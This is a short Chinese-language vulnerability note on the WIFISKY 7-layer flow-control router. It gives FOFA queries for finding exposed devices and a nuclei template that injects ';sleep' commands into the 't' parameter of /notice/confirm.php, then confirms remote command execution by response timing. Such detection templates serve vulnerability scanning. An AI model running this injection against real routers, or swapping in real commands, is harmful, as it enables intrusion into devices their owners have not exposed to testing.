WIFISKY

WIFISKY7层流控路由器某接口存在RCE漏洞

fofa：app="WIFISKY-7层流控路由器"、title="WIFISKY 7层流控路由器"

nuclei

id: WIFISKY7-rce

info:
  name: WIFISKY7-rce
  author: WebSec
  severity: critical


http:
  - raw:
      - |
        GET /notice/confirm.php?t=;sleep%203 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1
        Pragma: no-cache
        Cache-Control: no-cache

      - |
        GET /notice/confirm.php?t=;sleep%206 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1
        Pragma: no-cache
        Cache-Control: no-cache

      - |
        @timeout: 15s
        GET /notice/confirm.php?t=;sleep%209 HTTP/1.1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1
        Pragma: no-cache
        Cache-Control: no-cache

    matchers:
      - type: dsl
        condition: and
        dsl:
          - "duration_1>=3  && duration_1<=6"
          - "duration_2>=6  && duration_2<=9"
          - "duration_3>=9  && duration_3<=12"